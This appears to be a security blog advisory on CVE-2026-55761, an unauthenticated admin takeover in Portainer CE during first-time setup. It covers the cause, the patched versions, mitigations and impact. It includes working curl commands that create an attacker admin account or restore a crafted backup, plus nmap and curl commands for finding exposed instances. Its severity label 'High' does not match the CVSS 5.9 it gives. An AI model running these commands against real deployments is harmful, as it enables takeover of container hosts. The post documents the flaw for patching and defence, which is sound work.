Listen to this Post
How CVE-2026-55761 Works
Portainer CE is a lightweight management platform for containerized environments including Docker, Swarm, Kubernetes, and ACI. The vulnerability resides in the instance initialization flow.
When a Portainer instance starts without an existing administrator account, it enters a five‑minute initialization window. During this window, two API endpoints are intentionally exposed without authentication to facilitate first‑time setup:
– `/api/restore` – allows restoring an instance from a backup archive
– `/api/users/admin/init` – allows creating the first administrator account
An unauthenticated attacker with network access to an uninitialized Portainer instance can exploit this window in two ways:
1. Send a `POST` request to `/api/users/admin/init` to directly create a new administrative account with attacker‑controlled credentials.
2. Send a `POST` request to `/api/restore` with a crafted backup archive that overwrites the Portainer database with attacker‑controlled admin credentials.
The attack requires three conditions to align:
- The instance must be uninitialized (no admin account exists).
- The instance must be network‑reachable from the attacker.
- The request must arrive within the five‑minute setup window.
If the window expires without initialization, Portainer locks its API and requires a restart to re‑enable setup — each restart opens a fresh window. No credentials, session tokens, or local access are required.
The vulnerability exists because the restore handler registers the endpoint withbouncer.PublicAccess, bypassing all authentication middleware, and then checks only whether the instance has been initialized before proceeding.
The fix introduces a one‑time setup token that gates both public initialization endpoints. On startup, when no admin account exists and no admin password is supplied, Portainer generates a cryptographically random token and writes it to the server logs. The restore and admin‑init handlers reject any request without an `X‑Setup‑Token` header, returning403 Forbidden. Deployments that provision the admin password at deploy time (--admin-password/--admin-password-file) require no token.
DailyCVE Form:
Platform: Portainer CE
Version: 2.39.0–2.39.3, 2.40.0–2.42.9
Vulnerability: Unauthenticated Admin Takeover
Severity: High (CVSS 5.9)
Date: 2026-07-08
Prediction: Patch already released (2.39.4 / 2.43.0)
What Undercode Say:
Analytics – Identifying Vulnerable Instances
Check Portainer version via API (unauthenticated) curl -s http://<target>:9000/api/status | jq '.Version' Check if instance is initialized (returns true/false) curl -s http://<target>:9000/api/status | jq '.Initialized' Scan for Portainer instances on a network nmap -p 9000 --open <subnet>/24 -oG - | grep 9000/open Check response headers for version disclosure curl -I http://<target>:9000
Exploit: (Educational Purposes!)
Direct admin creation via /api/users/admin/init
curl -X POST http://<target>:9000/api/users/admin/init \
-H "Content-Type: application/json" \
-d '{"Username":"attacker","Password":"P@ssw0rd!"}'
Database takeover via /api/restore with crafted backup
Step 1: Create a backup archive with attacker credentials
Step 2: Upload and restore
curl -X POST http://<target>:9000/api/restore \
-F "backup=@malicious_backup.tar.gz"
After successful takeover, authenticate and verify admin access
curl -X POST http://<target>:9000/api/auth \
-H "Content-Type: application/json" \
-d '{"Username":"attacker","Password":"P@ssw0rd!"}'
Protection:
- Upgrade to Portainer CE 2.39.4 (LTS) or 2.43.0 (STS) immediately
- Provision admin account at deploy time using `–admin-password` or `–admin-password-file` flags — this prevents the instance from ever entering the uninitialized state
- Restrict network access to Portainer API (port 9000) using firewall rules, VPC security groups, or reverse proxy until initialization is complete
- Complete initial setup immediately after deployment to minimize the uninitialized window
- Audit existing deployments for unauthorized admin accounts if the instance may have been exposed before setup
Impact:
- Full administrative access to Portainer — attacker can authenticate as admin with no legitimate‑user involvement
- Host‑level compromise — Portainer CE typically runs with access to
/var/run/docker.sock; an attacker with admin access can use container creation APIs to mount the host filesystem and execute commands as root - Access to all managed environments — compromised admin account inherits credentials and API access for every Docker host, Kubernetes cluster, and edge agent registered in the instance, including stored registry credentials, environment variables, and secrets
- Persistence — because the attacker controls the database, they can re‑insert admin credentials or maintain secondary accounts even if a legitimate user later resets the primary password
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
